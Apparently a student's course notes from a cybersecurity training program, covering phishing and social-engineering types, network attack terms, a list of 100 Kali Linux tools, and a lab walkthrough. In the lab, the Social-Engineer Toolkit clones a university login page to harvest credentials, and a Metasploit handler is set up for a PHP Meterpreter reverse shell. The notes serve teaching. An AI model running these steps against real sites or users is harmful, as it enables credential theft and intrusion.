# Cyber Security-Edge Program

|  |
| --- |
| Name: Afrin Faria  ID: 2111270  Batch: B11 |

|  |  |  |  |
| --- | --- | --- | --- |
| **8. 3rd October, 2024** Understanding social engineering attacks   1. Impersonation: 2. hacker impersonate administrator 3. Hacker impersonate user 4. Hacker impersonates management  Phishing: A Breakdown of Common Types Phishing is a type of cybercrime where attackers attempt to trick individuals into revealing sensitive information, such as passwords, credit card numbers, or personal details. Here are some common types of phishing attacks: Whaling  * **Target:** High-profile individuals, such as CEOs, executives, or celebrities. * **Tactics:** Attackers often impersonate trusted individuals or organizations to gain access to sensitive information or financial assets.  Vishing  * **Method:** Voice phishing involves phone calls from scammers posing as legitimate entities, such as banks or government agencies. * **Goal:** To trick victims into revealing personal information or financial details.  Smishing  * **Method:** SMS phishing uses text messages to lure victims to malicious websites or to trick them into revealing sensitive information. * **Tactics:** Scammers often create a sense of urgency or create a false sense of trust.  Spear Phishing  * **Target:** Specific individuals or organizations. * **Tactics:** Attackers research their targets to tailor their messages and make them appear more legitimate.  Spam  * **Method:** Unsolicited emails sent in bulk to a large number of recipients. * **Goal:** To promote products, services, or scams.  Eliciting Information  * **Tactics:** Attackers may use various methods to gather information about their targets, such as social engineering, pretexting, or online research. * **Purpose:** To identify vulnerabilities and tailor their attacks accordingly.  Prepending  * **Method:** Adding a prefix to a legitimate email address to create a fake one. * **Goal:** To trick recipients into believing the email is from a trusted source.   **Remember:** Be cautious of unsolicited emails, phone calls, or text messages, especially those that ask for personal information or require urgent action. If you suspect a phishing attempt, do not click on any links or attachments, and report it to the appropriate authorities.  **Identity fraud** occurs when someone uses another person's personal information without their knowledge or permission. Here are some common types and related threats: Invoice Scams  * **How it works:** Scammers send fraudulent invoices to businesses, often with a sense of urgency, hoping the recipient will pay without verifying the authenticity. * **Related threats:** Financial loss, supply chain disruptions, and damage to reputation.  Credential Harvesting  * **How it works:** Attackers use various techniques, such as phishing, malware, and social engineering, to collect login credentials for online accounts. * **Related threats:** Identity theft, unauthorized access to sensitive information, and financial loss.  Reconnaissance  * **How it works:** Attackers gather information about their targets, including their networks, systems, and personnel. * **Related threats:** Targeted attacks, data breaches, and disruption of operations.  Influence Campaigns/Hybrid Warfare  * **How it works:** States or non-state actors use a combination of traditional and non-traditional warfare tactics to influence public opinion, undermine democratic institutions, and destabilize governments. * **Related threats:** Erosion of trust, political instability, and national security risks.  Comparing the Topics: A Brief Overview While each topic mentioned above is related to cybersecurity and digital threats, they have distinct characteristics: Phishing vs. Identity Fraud  * **Phishing:** Primarily focuses on tricking individuals into revealing personal information. * **Identity Fraud:** Involves the unauthorized use of someone else's personal information.  Invoice Scams vs. Credential Harvesting  * **Invoice Scams:** Target businesses with fraudulent invoices. * **Credential Harvesting:** Aims to collect login credentials for online accounts.  Reconnaissance vs. Influence Campaigns  * **Reconnaissance:** Gathering information about targets for potential attacks. * **Influence Campaigns:** Using various tactics to manipulate public opinion or destabilize governments.  Whaling, Vishing, Smishing, Spear Phishing, and Spam  * **Whaling, Vishing, and Smishing:** Specific types of phishing attacks targeting high-profile individuals, using voice calls, or text messages. * **Spear Phishing:** Tailored phishing attacks targeting specific individuals or organizations. * **Spam:** Unsolicited bulk emails.  Eliciting Information and Prepending  * **Eliciting Information:** Gathering information about targets for future attacks. * **Prepending:** Adding a prefix to a legitimate email address to create a fake one.   **In summary,** while there are overlaps and connections between these topics, they represent different aspects of cybercrime and digital threats. Understanding these distinctions is crucial for effective cybersecurity measures.  **Shouldering**  **Tailgating:**  Doortrap  **Hoaxes**: false story and asking the user to take some type of action. Physical Attacks:  * Malicious universal serial bus cable * Malicious flash drive * Card cloning : credit card stealing * Skimming   **Adversarial artificial intelligence:**  **Supply chain attack:**  **Cloud based vc on premises attack:**  **Reasons for effectiveness of social engineering attacks:**   * authority * Intimidation * Scarcity : * Consensus: * Urgency * Familiarity * trust   **Prevention:**   * Awareness * Company’s security question * Core attacking understanding   **Network attacks:**  DoS  DDoS  Spoofing/refactoring: changing  Sniffing  **ARP Poisoning:**  **Mac flooding and mac cloning**  **#pass the hash**  **#kerberos authentication** **LAB Portion:** **Setoolkit**  **Press y**  **Press y**  **https://lh7-rt.googleusercontent.com/docsz/AD_4nXeUljeAzQeY_fsjn0RffAC8r4E382xs15fdQ4QNTJygGQ4ekKBbBDtWzNf4bVVOMM3Cx9_bN2AnYYaRAuWrjHh8CkK6USx7voN93D2qnbpC4kacJ0PtJ3V_E6rNNDzs2cCX23_XSejazdu_nsaMtGu4Us-z?key=Vk71agtBjgu2Ts9zXFwT4Q**  Press 1→ 2 website attack vectors→ **3 credential harvester attack method → 2 site cloner**  **Press enter  Enter the url to clone: http://www.iitju.org/login**  **In different terminal:**   |  | | --- | | Sudo su  Msfconsole  Use exploit/multi/handler  use payload php/meterpreter/reverse\_tcp |   **https://lh7-rt.googleusercontent.com/docsz/AD_4nXdHQAO4SspKkSf_iMa5SRMyA0li7Eo8_7ychbsYmMXPQWDBMu9IryZSyBjJJTNo6A8z7PEn4Q_oHvlJvhw-xNFduxykeN0Ss_3QpVccFf6Bq_XO7nghDLowGm7JTrkBXNGI4CGkLXKFC8mQ2Y5vgk0XVHkB?key=Vk71agtBjgu2Ts9zXFwT4Q**  **https://lh7-rt.googleusercontent.com/docsz/AD_4nXdvhsrkUgNReDeDj6bBJPI17WWkvYL-MLUZcOfsMlpqLY2goW5qvvSgDpXUaG1xKoP3vJYNHliVIPD9mo0v55t5CvKpskv4m9TSFbZP7wlz9LGo-rq9dzuqUClsKPTEvHf5mggRXWpTeFZpKiW-w1Mh8ZWL?key=Vk71agtBjgu2Ts9zXFwT4Q**  **Now open browser and search 192.168.10.134(you own ip)**  **Enter any email and password**  **https://lh7-rt.googleusercontent.com/docsz/AD_4nXf5o8QWJpx1vwUKuC1js6rMuVZb21YYgicbblDrdzMDmWoZVWzy9WL9k1l3v9JY0VDlxXYf2funrJBtY7oLlxgAwh9GVwideaZ-_WdXjNi_g51UoHxej_NeCS8ZmU2LTt68Nf8qaNVafuXzrZv1hvwRnMBJ?key=Vk71agtBjgu2Ts9zXFwT4Q**  **Check the first terminal**  **https://lh7-rt.googleusercontent.com/docsz/AD_4nXev83a0CMQfT71DtbAObTEY3tmEgtNAiR6oKHxJGYNkkuaQ9pta8WoQrExg9GZtUdwgR8BN0aHwE_0BPHgzb7v5wppI5Ve16rZKsvrwAAsz3TRYfYM9mX7ZckNY5bvNP0TQ9pZP10UWG1Sui7ocLeIYs_5z?key=Vk71agtBjgu2Ts9zXFwT4Q**    Linux for ethical hackers: the cyber mentor  <https://www.youtube.com/watch?v=U1w4T03B30I>   |  | | --- | | sudo su  pwd //current directory  cd .. // backwards  Ctrl+l ==clear  Ls // list  Cd home/  Cd ~ //home folder |  |  | | --- | | # \*\*\*100 Essential Kali Linux Commands for Penetration Testing and Ethical Hacking\*\*\*  1. `ifconfig` - Display network interfaces and their configurations.  2. `ping` - Send ICMP echo requests to a target host.  3. `netstat` - Display network statistics (connections, listening ports, etc.).  4. `nmap` - Perform network scanning and port enumeration.  5. `arp` - Display or modify the ARP cache.  6. `dig` - Perform DNS queries.  7. `whois` - Retrieve WHOIS information for a domain.  8. `host` - Perform DNS lookups.  9. `traceroute` - Display the route packets take to a destination.  10. `route` - Show or manipulate the IP routing table.  11. `iptables` - Configure firewall rules.  12. `tcpdump` - Capture and analyze network traffic.  13. `wireshark` - Graphical packet capture and analysis tool.  14. `ssh` - Securely connect to remote systems.  15. `nc` - Netcat - a versatile networking utility for testing.  16. `metasploit` - Framework for developing and executing exploits.  17. `hydra` - Brute-force login attacks.  18. `john` - Password cracking tool.  19. `aircrack-ng` - Wireless network security assessment tool.  20. `reaver` - Brute-force attacks against WPS-enabled routers.  21. `sqlmap` - Automated SQL injection and database takeover tool.  22. `enum4linux` - Enumerate information from Windows and Samba systems.  23. `nikto` - Web server vulnerability scanner.  24. `dirb` - Web content scanner.  25. `wpscan` - WordPress vulnerability scanner.  26. `burp` - Web application security testing tool.  27. `sqlninja` - SQL server injection and takeover tool.  28. `ettercap` - Man-in-the-middle attack tool.  29. `snort` - Network intrusion detection system.  30. `openvas` - Open Vulnerability Assessment System.  31. `armitage` - Graphical user interface for Metasploit.  32. `xsser` - Cross-Site Scripting (XSS) exploitation tool.  33. `dirbuster` - Directory and file brute-forcing tool.  34. `hashcat` - Advanced password recovery tool.  35. `volatility` - Memory forensics tool.  36. `autopsy` - Digital forensics platform.  37. `gobuster` - Directory and file brute-forcing tool.  38. `dnsrecon` - DNS enumeration tool.  39. `steghide` - Hide data inside image and audio files.  40. `stegcracker` - Steganography brute-force tool.  41. `sshuttle` - VPN-like tunneling tool.  42. `mitmproxy` - Intercept and modify HTTP/HTTPS traffic.  43. `hash-identifier` - Identify hash types.  44. `samdump2` - Extract password hashes from Windows SAM files.  45. `radare2` - Reverse engineering framework.  46. `airgeddon` - Wireless auditing framework.  47. `mitm6` - Man-in-the-middle attack tool for IPv6.  48. `mitmAP` - Create fake access points for man-in-the-middle attacks.  49. `dmitry` - Intelligence gathering tool.  50. `theharvester` - Gather information from public sources.  51. `exiftool` - Read and write metadata in files.  52. `binwalk` -Analyze and extract files from binary images.  53. `foremost` - File carving tool.  54. `scalpel` - File carving and recovery tool.  55. `ssh-keygen` - Generate SSH key pairs.  56. `john` - Password cracker (John the Ripper).  57. `tcpflow` - Capture and analyze TCP connections.  58. `davtest` - Test WebDAV-enabled servers.  59. `sslscan` - SSL/TLS vulnerability scanner.  60. `wifite` - Automated wireless network auditing tool.  61. `tshark` - Command-line Wireshark.  62. `macchanger` - Change MAC address.  63. `nbtscan` - NetBIOS scanner.  64. `ike-scan` - VPN fingerprinting and testing tool.  65. `hashcat-utils` - Additional utilities for hashcat.  66. `veil` - Generate undetectable payload encoders.  67. `bettercap` - Man-in-the-middle framework.  68. `ferret` - Network data sniffing tool.  69. `maltego` - Open-source intelligence and forensics tool.  70. `pdf-parser` - Analyze PDF documents.  71. `openvpn` - VPN server and client.  72. `msfvenom` - Payload generation tool for Metasploit.  73. `dnsenum` - DNS enumeration tool.  74. `p0f` - Passive OS fingerprinting tool.  75. `thc-ipv6` - IPv6 attack toolkit.  76. `chntpw` - Change or blank Windows passwords.  77. `pcredz` - Extract Windows credentials from memory dumps.  78. `exploitdb` - Exploit database for Metasploit.  79. `dmitry` - Information gathering tool.  80. `yara` - Pattern matching swiss knife.  81. `db\_nmap` - Use Nmap from the Metasploit framework.  82. `msfpc` - Generate Metasploit payloads.  83. `mac-robber` - Collect MAC timestamps from files and directories.  84. `enumiax` - Enumerate information from Asterisk PBX systems.  85. `ipcalc` - Calculate IP network parameters.  86. `mimikatz` - Extract Windows credentials from memory.  87. `wifiphisher` - Automated Wi-Fi phishing tool.  88. `metagoofil` - Gather metadata from public documents.  89. `recon-ng` - Web reconnaissance framework.  90. `exploitdb` - Searchable exploit database.  91. `enumiax` - Enumerate information from Asterisk PBX systems.  92. `golismero` - Web application security testing framework.  93. `sparta` - GUI-based network infrastructure penetration testing tool.  94. `ike-scan` - VPN fingerprinting and testing tool.  95. `nmapsi4` - Nmap graphical interface.  96. `socat` - Multipurpose relay for bidirectional data transfer.  97. `dirbuster-ng` - Directory and file brute-forcing tool.  98. `davtest` - Test WebDAV-enabled servers.  99. `udis86` - Disassembler library for x86 and x86-64.  100. `lynis` - Security auditing tool. | |